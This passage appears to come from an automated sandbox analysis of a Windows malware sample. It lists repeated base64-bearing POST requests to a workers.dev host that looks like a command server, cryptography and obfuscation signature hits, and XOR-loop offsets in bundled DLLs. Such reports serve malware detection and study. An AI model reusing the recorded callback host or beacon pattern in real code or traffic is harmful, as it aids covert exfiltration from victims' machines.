10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //r74NbQ1c/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //r74NbQ1c/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //r74NbQ1c/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //r74NbQ1c/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //gWv3tvls/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //gWv3tvls/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //gWv3tvls/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //gWv3tvls/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //E73ib/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "//E73ib/" in header "POST //E73ib/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //E73ib/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //E73ib/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //E73ib/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //CLWkKQif3TyoNex/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //CLWkKQif3TyoNex/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //CLWkKQif3TyoNex/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //CLWkKQif3TyoNex/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //yuJfqa5/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //yuJfqa5/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //yuJfqa5/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //yuJfqa5/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //4zE6wjXfPm/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //4zE6wjXfPm/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //4zE6wjXfPm/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //4zE6wjXfPm/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //uMvizRgKWrm/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //uMvizRgKWrm/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //uMvizRgKWrm/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //uMvizRgKWrm/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //YWk3LtlsTlh/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //YWk3LtlsTlh/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //YWk3LtlsTlh/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //YWk3LtlsTlh/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //VCO16JdjFVgrek/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //VCO16JdjFVgrek/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //VCO16JdjFVgrek/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //VCO16JdjFVgrek/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //V5XnxYLTue5I/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //V5XnxYLTue5I/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //V5XnxYLTue5I/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //V5XnxYLTue5I/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //in1r8lCvwlvYh8/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //in1r8lCvwlvYh8/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //in1r8lCvwlvYh8/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //in1r8lCvwlvYh8/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //TqdRIC/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //TqdRIC/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //TqdRIC/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //TqdRIC/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //Mgu/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //Mgu/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //Mgu/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //Mgu/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //grVkfNP5YbS/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //grVkfNP5YbS/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //grVkfNP5YbS/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //grVkfNP5YbS/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //Rv6/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //Rv6/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //Rv6/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //Rv6/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "POST" in header "POST //ReK8LTc/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "0Content" in header "POST //ReK8LTc/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "Type" in header "POST //ReK8LTc/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47" Contains base64 string in header "application/jsonHost" in header "POST //ReK8LTc/ HTTP/1.1User-Agent: Microsoft Windows NT 10.0.22621.0Content-Type: application/jsonHost: mud.alert-router-b3a.workers.devContent-Length: 47"2e:T50c,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to encrypt/encode message (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to decode base64 data Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Calls an API typically used to decrypt data Matched sigs: Reads the cryptographic machine GUID Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - AES encryption Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match – cryptographic algorithms2f:T12d6b,Found XOR loop in file "Unicode.Data.Automation.dll" at offset 1087963; code bytes = 30d0 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 1764251; code bytes = 30d0 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2847666; code bytes = 30d0 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2976033; code bytes = 30d0 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2976267; code bytes = 30d0 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 3056344; code bytes = 30d0 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 3148186; code bytes = 30d0 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 3444718; code bytes = 30d0 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2984385; code bytes = 33c1 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 3006112; code bytes = 30040e Found XOR loop in file "Unicode.Data.Automation.dll" at offset 12549; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 66202; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 192321; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 726448; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 823814; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 1062190; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 1062226; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 1156157; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 1200523; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 1441830; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 1999139; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2010999; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2243176; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2408983; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2567911; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2572561; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2572771; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2572931; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2581911; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2586141; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2602041; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2604331; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2614771; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2627421; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2632501; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2632791; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2647121; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2653131; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2653221; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2656511; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2676481; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2688721; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2694001; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2694741; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2699841; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2714931; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2724431; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2726281; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2747991; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2751131; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 2976392; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 3849188; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 3972792; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 3997896; code bytes = 8030 Found XOR loop in file "Unicode.Data.Automation.dll" at offset 4007628; code bytes = 8030 Found XOR loop in file "python312.dll" at offset 1570608; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 1880012; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 2740895; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 3500531; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 3694521; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 3789866; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 3843729; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 3919575; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 3958324; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 3963667; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4038069; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4280914; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4300949; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4344472; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4355266; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4390270; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4513228; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4523500; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4582893; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 4595523; code bytes = 30d0 Found XOR loop in file "python312.dll" at offset 161608; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 178437; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 180169; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 181597; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 184463; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 449781; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 512784; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 513148; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 520018; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 534421; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 535117; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 535478; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 540507; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 540672; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 543796; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 547556; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 593818; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 662073; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 683541; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 723025; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 784323; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 890816; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 891068; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 891150; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 891285; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 891416; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1136900; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1137634; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1137753; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1140869; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1144900; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1145249; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1145606; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1146893; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1340956; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341057; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341175; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341207; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341281; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341304; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341386; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341478; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341579; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341676; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341732; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341782; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341872; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1341973; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1342064; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1342114; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1342154; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1342213; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1342322; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1342423; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1342832; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1343032; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1343147; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1343254; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1343677; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1343940; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1344041; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1344136; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1344230; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1344272; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1344330; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1345474; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1345579; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1345666; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1345774; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1345833; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1345887; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1345959; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1346062; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1346170; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1346212; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1346257; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1346358; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1346459; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1346535; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1346933; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347177; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347299; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347391; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347473; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347515; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347589; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347681; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347792; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347826; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347863; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1347975; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348073; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348167; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348223; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348285; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348350; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348468; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348559; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348601; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348686; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348781; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1348888; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1356996; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1357114; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1357230; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1357472; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1357612; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1357722; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1357838; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1357930; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1357984; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358057; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358191; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358309; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358352; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358412; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358529; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358637; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358757; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358832; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358896; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1358980; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1359099; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1359218; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1359272; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1359324; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1359507; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1359624; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1360069; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1360285; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1360402; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1360516; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1360958; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1361119; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1361228; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1361352; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1361464; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1361537; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1361591; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1361683; code bytes = 33c1 Found XOR loop in file "python312.dll" at offset 1362090; code bytes = 33c1 Found XOR loop 